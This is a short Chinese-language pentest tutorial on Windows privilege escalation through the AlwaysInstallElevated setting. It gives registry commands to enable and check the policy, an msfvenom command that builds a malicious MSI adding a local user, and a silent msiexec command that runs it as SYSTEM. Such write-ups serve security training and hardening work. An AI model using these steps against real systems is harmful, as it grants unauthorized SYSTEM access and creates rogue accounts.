MSI文件提权

MSI文件提权，即任意用户以SYSTEM权限安装MSI文件造成提权。AlwaysInstallElevated是注册表的一个键值，当其值为1时候，在系统中使用Windows Installer安装任何程序，允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置，我们可以使用msf生成msi文件来以system权限执行任意payload。

MSF集成了漏洞利用模块：exploit/windows/local/always_install_elevated 。详细利用步骤如下：

1. 环境准备

• 激活AlwaysInstallElevated

方法一：本地组策略（gpedit.msc）：计算机配置–管理模板–Windows组件–Windows Installer，点击启用“始终以提升的权限进行安装”；用户配置–管理模板–Windows组件–Windows Installer，点击启用“始终以提升的权限进行安装”。

方法二：cmd修改注册表（rgedit）

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

2. 利用步骤

1. 判断是否启用了AlwaysInstallElevated策略。当两个注册表键值查询结果均为1时，代表该策略已启用。

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

2. 使用msfvenom生成恶意程序上传

msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msi

3. msiexec运行MSI文件即可实现提取。

msiexec /quiet /qn /i rotten.msi